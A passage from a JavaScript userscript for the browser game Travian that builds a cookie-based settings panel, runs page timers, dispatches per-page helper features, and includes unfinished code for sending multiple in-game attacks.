fila);\n\t\ttabla.appendChild(fila);\n\n\t\t// Parametros reconocidos\n\t\tvar parametros =\n\t\t[\n\t\t\t\"imgx\",\n\t\t\t\"inf1\" + server,\n\t\t\t\"inf1b\" + server,\n\t\t\t\"inf2\" + server,\n\t\t\t\"inf3\" + server,\n\t\t\t\"blocNotasinfo\" + server,\n\t\t\t\"icone\" + server,\n\t\t\t\"BattleAnalyse\" + server,\n\t\t\t\"Tototroupe\" + server,\n\t\t\t\"APAinfo\",\n\t\t\t\"tableaudorf1\" + server,\n\t\t\t\"initvillinfo2\" + server,\n\t\t\t\"infosiege\" + server,\n\t\t\t\"tableaudorf2\" + server,\n\t\t\t\"initvillinfo\" + server,\n\t\t\t\"infosiege2\" + server,\n\t\t\t\"calculateFillTimeInfo\" + server,\n\t\t\t\"FillTimeinfo\",\n\t\t\t\"IMGinfo\" + server,\n\t\t\t\"BBcodeHelp\",\n\t\t\t\"posvilleinfo\" + server,\n\t\t\t\"villeinfo\" + server,\n\t\t\t\"lienfix\" + server,\n\t\t\t\"bookmarksinfo0\" + server,\n\t\t\t\"bookmarksinfo1\" + server,\n\t\t\t\"bookmarksinfo2\" + server,\n\t\t\t\"bookmarksinfo3\" + server,\n\t\t\t\"bookmarksinfo4\" + server,\n\t\t\t\"NPC_help\",\n\t\t\t\"TQR1\" + server,\n\t\t\t\"TQR2\" + server,\n\t\t\t\"TQR3\" + server,\n\t\t\t\"TQR4\" + server\n\t\t];\n\t\tvar parameterDescriptions =\n\t\t[\n\t\t\tT('TAB27'),\n\t\t\t\"<font color=#808000>\" + T('TAB13') + \"</font>\",\n\t\t\t\"<font color=#808000>\" + T('TAB13B') + \"</font>\",\n\t\t\t\"<font color=#808000>\" + T('TAB14') + \"</font>\",\n\t\t\t\"<font color=#808000>\" + T('TAB18') + \"</font>\",\n\t\t\t\"<font color=#DA70D6>\" + T('TAB17') + \"</font>\",\n\t\t\t\"<font color=#DA70D6>\" + T('TAB29') + \"</font>\",\n\t\t\t\"<font color=#FF0000>\" + T('TAB30') + \"</font>\",\n\t\t\t\"<font color=#FF0000>\" + T('TAB25') + \"</font>\",\n\t\t\t\"<font color=#FF0000>\" + T('TAB23') + \"</font>\",\n\t\t\t\"<font color=#32CD32>\" + T('TAB5') + \" [dorf1]</font>\",\n\t\t\t\"<font color=#32CD32>\" + T('TAB32') + \" [dorf1]</font>\",\n\t\t\t\"<font color=#32CD32>\" + T('TAB26') + \" [dorf1]</font>\",\n\t\t\t\"<font color=#006400>\" + T('TAB6') + \" [dorf2]</font>\",\n\t\t\t\"<font color=#006400>\" + T('TAB15') + \" [dorf2]</font>\",\n\t\t\t\"<font color=#006400>\" + T('TAB26') + \" [dorf2]</font>\",\n\t\t\t\"<font color=#FF7F50>\" + T('TAB7') + \"</font>\",\n\t\t\t\"<font color=#FF7F50>\" + T('TAB24') + \"</font>\",\n\t\t\t\"<font color=#008B8B>\" + T('TAB16') + \" [nachrichten]</font>\",\n\t\t\t\"<font color=#008B8B>\" + T('TAB31') + \" [nachrichten]</font>\",\n\t\t\t\"<font color=#FF00FF>\" + T('TAB22') + \" [dorf3]</font>\",\n\t\t\t\"<font color=#FF00FF>\" + T('TAB21') + \" [dorf3]</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB20') + \"</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB19') + \"</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB8') + \"</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB9') + \"</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB10') + \"</font>\",\n\t\t\t\"<font color=#0000FF>\" + T('TAB11') + \"</font>\",\n\t\t\t\"<font color=#5196AA>\" + T('TAB33') + \"</font>\",\n\t\t\t\"<font color=#FF4500>\" + \"(Beta test) \" + T('TAB34') + \" [nachrichten]</font>\",\n\t\t\t\"<font color=#FF4500>\" + \"(Beta test) \" + T('TAB34') + \" [berichte]</font>\",\n\t\t\t\"<font color=#FF4500>\" + \"(Beta test) \" + T('TAB34') + \" [allianz]</font>\",\n\t\t\t\"<font color=#FF4500>\" + \"(Beta test) \" + T('TAB34') + \" [karte]</font>\"\n\t\t];\n\t\tvar parameterDescriptionsAide =\n\t\t[\n\t\t\t'<a href=\"http://imgtrav.ifrance.com/\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img165.imageshack.us/img165/891/travianstattsuoq5.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'',\n\t\t\t'<a href=\"http://img529.imageshack.us/img529/9165/travianstattscfq5.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img529.imageshack.us/img529/3436/travianstatmapok9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img388.imageshack.us/img388/4392/travianaidenotepadce3.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img365.imageshack.us/img365/9845/iconeho6.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://i152.photobucket.com/albums/s199/Vud-Mannerd/Travian/BattleAnalyze.jpg\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T('AID') + '\"></a>',\t//pictures from napkin\n\t\t\t'<a href=\"http://img389.imageshack.us/img389/3957/travianplacerassaq8.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img389.imageshack.us/img389/938/travianpillageattaqueks6.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img515.imageshack.us/img515/3017/travianaidetableauchampom5.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://i152.photobucket.com/albums/s199/Vud-Mannerd/Travian/FieldColorsdorf1.jpg\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\t//pictures from napkin\n\t\t\t'<a href=\"http://img515.imageshack.us/img515/2130/travianaidetableaumj6.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img519.imageshack.us/img519/2889/traviand2tableaucd0.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img370.imageshack.us/img370/5308/traviand2numgg9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img389.imageshack.us/img389/5690/traviantabdorf2xl1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img339.imageshack.us/img339/1544/travianaidecompteurlo2.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img122.imageshack.us/img122/7354/travianpos0compteurbf1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img236.imageshack.us/img236/2552/travianigmgr1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://i152.photobucket.com/albums/s199/Vud-Mannerd/Travian/BB-CodeHelp.jpg\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T('AID') + '\"></a>',\t//pictures from napkin\n\t\t\t'<a href=\"http://img373.imageshack.us/img373/4885/travianposition1gf5.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img296.imageshack.us/img296/6571/traviantablesimpl0of6.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img519.imageshack.us/img519/9528/traviansimplytb0.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img383.imageshack.us/img383/824/travianaidehoteleb3.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img367.imageshack.us/img367/8979/travianaideadmingh7.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img501.imageshack.us/img501/4302/travianaidemilitairelb1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img338.imageshack.us/img338/1982/travianaideamelioux9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img74.imageshack.us/img74/8568/travianaidepersofm0.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://i152.photobucket.com/albums/s199/Vud-Mannerd/Travian/NPC.jpg\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img220.imageshack.us/img220/5948/rp1zq1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img291.imageshack.us/img291/1701/rp2ua1.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img391.imageshack.us/img391/7435/rp4vd6.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img300.imageshack.us/img300/1594/rp3va7.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>'\n\t\t];\n\n\t\tfor (var i = 0; i < parametros.length; i++)\n\t\t{\n\t\t\tfila = $elem(\"TR\");\n\t\t\tfila.appendChild($elem(\"TD\", parameterDescriptions[i]));\n\t\t\tfila.appendChild($elem(\"TD\", parameterDescriptionsAide[i]));\n\t\t\tvar valor = readCookie(parametros[i]) ? 'checked=\"checked\"' : '';\n\t\t\tfila.appendChild($elem(\"TD\", \"<input type='checkbox' name='\" + parametros[i] + \"' \" + valor + \" class='fm' />\")); // Modif largeur colonne ligne 5842 (pas defaut : 300)\n\t\t\ttabla.appendChild(fila);\n\t\t}\n\n\t\tvar fila = $elem(\"TR\");\n\t\tvar td = $elem(\"TD\", T('TBH_SETUP_T'), {\n\t\t\t\"class\": \"rbg\",\n\t\t\t\"colspan\": 3\n\t\t}, {}, fila);\n\t\ttabla.appendChild(fila);\n\n\t\t// Parametros reconocidos\n\t\tvar parametros = [\"capital\" + server + userID, \"nbunit1\" + server, \"ally1\" + server, \"notas_\" + server, \"ventas_\" + server, \"marcadores_\" + server];\n\t\tvar parameterDescriptions = [T('TAB28'), T('TAB35'), \"<font color=#808000>\" + T('TAB1') + \"</font>\", \"<font color=#DA70D6>\" + T('TAB3') + \"</font>\", T('TAB4'), T('TAB2')];\n\t\tvar parameterDescriptionsAide =\n\t\t[\n\t\t\t'<a href=\"http://i152.photobucket.com/albums/s199/Vud-Mannerd/Travian/CapitalID.jpg\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\t//pictures from napkin\n\t\t\t'<a href=\"http://img375.imageshack.us/img375/9554/popupswl9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img92.imageshack.us/img92/2118/travianstatmaptextefz9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img388.imageshack.us/img388/1412/travianaidenotepadtextesp9.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img209.imageshack.us/img209/6470/travianmarchpy2.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>',\n\t\t\t'<a href=\"http://img393.imageshack.us/img393/3429/travianlienqw5.png\" target=\"_blank\"><img src=\"' + img(\"/a/help.gif\") + '\" width=\"15\" border=\"0\" title=\"' + T(\"AID\") + '\"></a>'\n\t\t];\n\n\t\tfor (var i = 0; i < parametros.length; i++)\n\t\t{\n\t\t\tfila = $elem(\"TR\");\n\t\t\tfila.appendChild($elem(\"TD\", parameterDescriptions[i]));\n\t\t\tfila.appendChild($elem(\"TD\", parameterDescriptionsAide[i]));\n\t\t\tvar valor = readCookie(parametros[i]);\n\t\t\tfila.appendChild($elem(\"TD\", \"<input type='text' name='\" + parametros[i] + \"' value='\" + (valor != null ? valor : '') + \"' class='fm' style='width:100px;'/>\")); // Modif largeur colonne ligne 5842 (pas defaut : 300)\n\t\t\ttabla.appendChild(fila);\n\t\t}\n\n\t\tinsertAfter(a, tabla);\n\n\t\tvar imagen = $elem(\"IMG\", \"\", {\"src\": img('b/s1.gif', true)});\n\t\timagen.addEventListener(\"click\", function()\n\t\t{\n\t\t\tvar parametros = $tags('input', get('configuracion'));\n\t\t\tfor (var i = 0; i < parametros.length - 1; i++)\n\t\t\t{\n\t\t\t\tif(parametros[i].type == 'text')\n\t\t\t\t\tcreateCookie(parametros[i].name, parametros[i].value, 365);\n\t\t\t\telse\n\t\t\t\t\tcreateCookie(parametros[i].name, parametros[i].checked, 365);\n\t\t\t}\n\t\t\tcreateCookie(parametros[parametros.length - 1].name, parametros[parametros.length - 1].value, 365); //checked\n\t\t\talert(T('GUARDADO'));\n\t\t}, 0);\n\t\tvar p = $elem(\"P\", '', {\n\t\t\t\"class\": \"rbg\",\n\t\t\t\"colspan\": 3,\n\t\t\t'align': 'center'\n\t\t}, {});\n\t\tp.appendChild(imagen);\n\t\tinsertAfter(tabla, p);\n\t\tvar uTable = get('resumen');\n\t\tvar mapTable = get('tabla_mapa');\n\t\tif (uTable != null) {\n\t\t\tuTable.style.visibility = \"hidden\";\n\t\t} else if (mapTable != null) {\n\t\t\tmapTable.style.visibility = \"hidden\";\n\t\t}\n\t}\n\n\t//set up timers on page load\n\tfunction setTravianTimers()\n\t{\n\t\tfor (var i = 1;; i++)\n\t\t{ //store the start time in ms for all incremental timers // \tstocker l'heure de démarrage en ms progressive pour tous les temps\n\t\t\tvar myElement = get(\"tp\" + i);\n\t\t\tif (myElement != null)\n\t\t\t{\n\t\t\t\tvar p = myElement.innerHTML.split(\":\");\n\t\t\t\tplustimers[\"tp\" + i] = (parseInt(p[0], 10) * 3600 + parseInt(p[1], 10) * 60 + parseInt(p[2], 10)) * 1000;\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\n\t\tfor (var i = 1;; i++)\n\t\t{ //store end time in ms for all decremental timers // fin le magasin en ms pour tous les temps decremental\n\t\t\tvar myElement = get(\"timer\" + i);\n\t\t\tif (myElement != null)\n\t\t\t{\n\t\t\t\tvar p = myElement.innerHTML.split(\":\");\n\t\t\t\tvar endtime = (parseInt(p[0], 10) * 3600 + parseInt(p[1], 10) * 60 + parseInt(p[2], 10)) * 1000;\n\t\t\t\tminustimers[\"timer\" + i] = endtime + pageloadtime.getTime();\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\n\t\tsetInterval(t_timers(), 250); //call our timer // notre appel à rebours\n\t}\n\n\t//this increments/decrements timers relative to your system clock // ca augmentations / diminution le timer par rapport à votre système d'horloge\n\tfunction t_timers()\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar now = new Date();\n\t\t\tfor (var i in plustimers)\n\t\t\t{\n\t\t\t\tvar newtime = now.getTime() - pageloadtime.getTime() + plustimers[i];\n\t\t\t\tnewtime = (newtime > 86400000) ? newtime - 86400000 : newtime;\n\t\t\t\tvar hours = Math.floor(newtime / 3600000);\n\t\t\t\tnewtime -= hours * 3600000;\n\t\t\t\tvar mins = Math.floor(newtime / 60000);\n\t\t\t\tnewtime -= mins * 60000;\n\t\t\t\tvar secs = Math.floor(newtime / 1000);\n\t\t\t\tget(i).innerHTML = hours + ':' + padlength(mins) + ':' + padlength(secs);\n\t\t\t}\n\n\t\t\tfor (var i in minustimers)\n\t\t\t{\n\t\t\t\tvar newtime = minustimers[i] - now.getTime();\n\t\t\t\tif (newtime > 0)\n\t\t\t\t{\n\t\t\t\t\tvar hours = Math.floor(newtime / 3600000);\n\t\t\t\t\tnewtime -= hours * 3600000;\n\t\t\t\t\tvar mins = Math.floor(newtime / 60000);\n\t\t\t\t\tnewtime -= mins * 60000;\n\t\t\t\t\tvar secs = Math.floor(newtime / 1000);\n\t\t\t\t\tget(i).innerHTML = hours + ':' + padlength(mins) + ':' + padlength(secs);\n\t\t\t\t}\n\t\t\t\tif (minustimers[i] <= now.getTime() && in_reload == 0)\n\t\t\t\t{\n\t\t\t\t\tin_reload = 1;\n\t\t\t\t\tdocument.location.reload();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction padlength(d)\n\t{\n\t\treturn (d.toString().length == 1) ? \"0\" + d : d\n\t}\n\n\t/* Acciones generales a todas las paginas */\n\tgetGeneralData();\n\tsanearEnlaces();\n\thideAd();\n\tloadImage(); // Images du script\n\tif(document.location.href.indexOf('karte2') == -1)\n\t{\n\t\tlonelyTown();\n\t\tquickLinks();\n\t\tbuildingLinks();\n\t\tmenulink();\n\t\tcalculateFillTime();\n\t\tmostrarMarcadores();\t\t\n\t}\n\tif (location.href.match(/gid=16/) != -1 || location.href.match(/id=39/) != -1)\n\t\tQP_addOwnTownTotalTroopsTable();\n\tcityLinks(); // Il crée des liaisons directes dans la liste de villages pour envoyer des troupes ou envoyer des commerçants\n\tborrarCuenta();\n\tconfirmDelete();\n\tcheckUpdate();\n\tplayerLinks(); //Liens stats\n\tcrearTooltip(); //popup général\n\tunitStats(); //popup unités\n\n\t/* Actions configurable par \"mostrarConfiguracion\" */\n\tinfosiege = readCookie(\"infosiege\" + server);\n\tif (infosiege == true || infosiege == null)\n\t\tif (location.href.indexOf('dorf1') != -1)\n\t\tresumenAldeasT();\n\tinfosiege2 = readCookie(\"infosiege2\" + server);\n\tif (infosiege2 == true || infosiege2 == null)\n\t\tif (location.href.indexOf('dorf2') != -1)// || location.href.indexOf('build.php?newdid=') != -1)\n\t\tresumenAldeasT();\n\tTQR1 = readCookie(\"TQR1\" + server);\n\tif (TQR1 == false || TQR1 == null)\n\t\t{}else\n\t\t{\n\t\t\tif (location.href.match(/nachrichten\\.php($|\\?t=2|\\?t=3)/))\n\t\t\t{\n\t\t\t\tvar urlResult = URLX.NACHRICHTEN;\n\t\t\t\tTQR();\n\t\t\t}\n\t\t}\n\tTQR2 = readCookie(\"TQR2\" + server);\n\tif (TQR2 == false || TQR2 == null)\n\t\t{}else\n\t\t{\n\t\t\tif (location.href.match(/berichte.php($|\\?t=)/))\n\t\t\t{\n\t\t\t\tvar urlResult = URLX.BERICHTE;\n\t\t\t\tTQR();\n\t\t\t}\n\t\t}\n\tTQR3 = readCookie(\"TQR3\" + server);\n\tif (TQR3 == false || TQR3 == null)\n\t\t{}else\n\t\t{\n\t\t\tif (location.href.match(/allianz.php\\?s=3/))\n\t\t\t{\n\t\t\t\tvar urlResult = URLX.ALLIANZ;\n\t\t\t TQR();\n\t\t\t}\n\t\t}\n\tTQR4 = readCookie(\"TQR4\" + server);\n\tif (TQR4 == false || TQR4 == null)\n\t\t{}else\n\t\t{\n\t\t\tif (location.href.match(/karte\\.php(\\?d=|\\?newdid)/))\n\t\t\t{\n\t\t\t\tvar urlResult = URLX.KARTE;\n\t\t\t TQR();\n\t\t\t}\n\t\t}\n\n\t/* Acciones especificas para algunas paginas */\n\tif (plus)\n\t\tvar travplus = 1;\n\tif (location.href.indexOf('dorf1') != -1)\n\t\tpreCalculate1();\n\tif (location.href.indexOf('dorf2') != -1)// || location.href.indexOf('build.php?newdid=') != -1)\n\t{\n\t\tpreCalculate2();\n\t\tShowCenterNumbers();\n\t}\n\tif (location.href.indexOf('build.php?') != -1)\n\t{\n\t\tquickCity();\n\t\trecursosMercado(); //marchant capacité\n\t\tupdateMerchantTotal();\n\t}\n\tif (location.href.indexOf('build.php') != -1)\n\t{\n\t\tif (location.href.match(/build\\.php\\?id=\\d+(&s=\\d+|&t=\\d+)/) == null)\n\t\t\tNPC_Helper_Init();\n\t\ttiempoExplorarUnidades();\n\t\ttiempoExplorar();\n\t\tmostrarVentas();\n\t\tcalculateBuildTime();\n\t\theroStatus();\n\t}\n\tif (location.href.match(/build\\.php\\?(.*)&s=2/))\n\t\tpuntosCultura();\n\tif (location.href.match(/build\\.php\\?(.*)&t=1/))\n\t{\n\t\talianzaMercado();\n\t\tfiltrosMercado();\n\t}\n\tif (location.href.indexOf('a2b.php') != -1)\n\t{\n\t\tquickCity();\n\t\tataqueDefecto();\n\t\tcreateMultiAttack_TEST();\n\t\tgenreporta2b();\n\t\tdocument.addEventListener('keyup',a2b,false);\n\t\tdocument.addEventListener('click',a2b,false);\n\t}\n\tif (location.href.indexOf('allianz.php') != -1)\n\t{\t//opcionOcultaAlianza();\n\t\tBBcodedProfile();\n\t}\n\tif (location.href.indexOf('nachrichten.php') != -1)\n\t{\n\t\topcionOcultaMensajes();\n\t\tigmlinks();\n\t}\n\tif (location.href.indexOf('berichte.php') != -1)\n\t\topcionOcultaInformes();\n\tif (location.href.match(/berichte\\.php\\?(.*&)?id=/))\n\t{\n\t\treportBatalla();\n\t\tparseBattleAnalyse();\n\t}\n\tif (location.href.match(/nachrichten\\.php($|\\?t=|\\?s=)/) || location.href.match(/berichte.php($|\\?t=|\\?s=|\\?n1=)/))\n\t\topcionesMensajes();\n\tif (location.href.match(/nachrichten\\.php($|\\?t=|\\?s=)/))\n\t{\n\t\tarchiveIGM();\n\t\tBBcodeHelp();\n\t}\n\tif (location.href.match(/karte\\.php($|\\?z=|\\?new)/))\n\t{\n\t\tinfoRecursos();\n\t\tinstallMapEventHandler();\n\t\tcreateTooltip1();\n\t\tinstallMapEventHandler1();\n\t}\n\tif (location.href.match(/karte2\\.php($|\\?z=|\\?new)/))\n\t{\n\t\tcreateTooltip1();\n\t\tinstallMapEventHandler2();\n\t}\n\tif (location.href.match(/karte\\.php($|\\?d=)/))\n\t{\n\t\tMapaQuickSave();\n\t\tcopyNatureInOasis();\n\t}\n\tif (location.href.match(/gid=14/))\n\t{\n\t\tprocesarPT(); //test table calc time\t\n\t}\n\tif (location.href.indexOf('warsim.php') > -1)\n\t{\tparseBattleAnalyse();\n\t\tpasteInWarsim();\n\t}\n\tif (location.href.match(/spieler\\.php($|\\?uid=)/))\n\t\tBBcodedProfile();\n\tif (location.href.match(/spieler\\.php\\?(.*&)?s=2/))\n\t\tmostrarConfiguracion();\n\tif (location.href.indexOf('statistiken.php') > -1)\n\t{\n\t\ttry\n\t\t{\n\t\t\tfind(\"//input[@name='spieler']\", XPFirst).focus();\n\t\t}\n\t\tcatch (e)\n\t\t{\n\t\t}\n\t} //TMR\n\tif (location.href.match(/dorf3.php($|\\?newdid=(\\d+)$)/))\n\t\tresumenAldeas(); // global\n\tif (location.href.match(/dorf3.php\\?(?:newdid=\\d+&)?s=(\\d+)/))\n\t\tswitch (RegExp.$1){\n\t\t\tcase '0': resumenAldeas3(); break;\t// mini\n\t\t\tcase '1': resumenAldeas5(); break;\t// pc\n\t\t\tcase '2': resumenAldeas2(); break;\t// dépot\n\t\t\tcase '3': resumenAldeas6(); break;\t// ressource\n\t\t\tcase '4': resumenAldeas8(); break;\t// manoir\n\t\t\tcase '5': resumenAldeas4(); break;\t// troupes\n\t\t\tcase '6':\n\t\t\tcase '7': resumenAldeas7(); break;\t// fete\n\t\t\tcase '8':\n\t\t\tcase '9': resumenAldeasT(); break;\t// +\n\t\t}\n\n\t/* Mas acciones generales */\n\tif (getOption(\"starttimers\", true, \"boolean\"))\n\t\tsetTimers();\n\tfix_title();\n\tsetTravianTimers();\n\tif(document.location.href.indexOf('karte2') == -1)\n\t\tcalcularTiempoEjecucion();\n\n\t/**----------------------------------------------------------------- \n\t* FUNCTIONS BELOW HERE ARE STILL IN DEVELOPMENT\n\t* lvl Place de tournoi \n\t**/\n\tfunction procesarPT()\n\t{ajaxRequest\n\t\t(\"build.php?gid=14\", 'GET', null, function(AJAXrespX)\n\t\t\t{\n\t\t\t\tvar aDoc = document.implementation.createDocument(\"\", \"\", null);\n\t\t\t\tvar aElem = document.createElement('DIV');\n\t\t\t\taElem.innerHTML = AJAXrespX.responseText;\n\t\t\t\taDoc.appendChild(aElem);\n\t\t\t\t// lvl PT\n\t\t\t\tvar a = aDoc.evaluate(\"//div[@id='lmid2']//b\", aElem, null, XPFirst, null).singleNodeValue;\n\t\t\t\tif (a)\n\t\t\t\t{\tlvlpdt = a.innerHTML.split(T('LVL'))[1].split(\"</b>\")[0];\n\t\t\t\t}else\n\t\t\t\t{\tlvlpdt = 0;\n\t\t\t\t}\n\t\t\t\tGM_setValue(server + id_aldea + 'lvlpdt', lvlpdt);\n\t\t\t}\n\t\t);\n\t}\n\t/**-----------------------------------------------------------------*/\n\n\t/**\n\t* FUNCTIONS BELOW HERE ARE STILL IN DEVELOPMENT\n\t* NOW WORKING ON MULTI ATTACKS SIMULTANEOUSLY - A_r_e_s\n\t*\n\t**/\n\tfunction getAvailableTroops()\n\t{\n\t\tvar troopsAvailable = new Array();\n\t\tvar troops = find(\"//div[@id='lmid2']//table[@class='p1' and @id='attackTable_0']//table[@class='f10']//td[contains(@class, 'f8')]\", XPList);\n\t\tif(!troops)\n\t\t\treturn alert('Troops table could not be found.');\n\n\n\t\tfor(var i = 0; i < troops.snapshotLength; i++)\n\t\t\tif(troops.snapshotItem(i).tagName.toLowerCase() == \"b\")\n\t\t\t\ttroopsAvailable.push(0);\n\t\t\telse\n\t\t\t\ttroopsAvailable.push(parseInt(troops.snapshotItem(i).childNodes[0].innerHTML.replace('(','').replace(')','')));\n\t\treturn troopsAvailable;\n\t}\n\n\tfunction createMultiAttack_TEST()\n\t{\n\t\t//return; // This function is not finished yet\n\t\t/*\n\t\tvar troopsAvailable = getAvailableTroops();\n\n\t\tvar complementFormFieldsType = find(\"//div[@id='lmid2']//table[@class='f10']//div[@class='f10']//input\", XPList);\n\t\tvar complementFormFieldsTo = find(\"//div[@id='lmid2']//table[@class='f10']//div[contains(@class, 'f135')]//input\", XPList);\n\n\t\tfind(\"//div[@id='lmid2']//table[@class='p1']\", XPFirst).setAttribute('id', 'attackTable_0');\n\n\t\t//console.log(complementFormFieldsType.snapshotLength);\n\t\t//console.log(complementFormFieldsTo.snapshotLength);\n\t\tstateAttack(0,0);\n\t\tcreateAddAttackButton();\n\t\treplaceFirstSendButton();\n\n\n\t\tfunction confirmMultiTroops()\n\t\t{\n\t\t\tif(!checkTroopsQuantity())\n\t\t\t\treturn alert('You are trying to send more troops than you have.');\n\n\n\t\t\t//ajaxRequest(url, method, param, onSuccess, onFailure)\n\t\t\tvar attackNumber = getNumberOfAttacks();\n\t\t\tvar fieldNames = new Array(1,4,7,9,2,5,8,10,3,6); // Ids of the field names in order of find command\n\t\t\tfor(var i = 0; i < attackNumber; i++)\n\t\t\t{\n\t\t\t\tvar param = {};\n\t\t\t\tvar attackTroops = getTroopsFromTable(i);\n\t\t\t\tfor(var j = 0, len = attackTroops.length; j < len; j++)\n\t\t\t\t\tparam['t'+fieldNames[j]] = 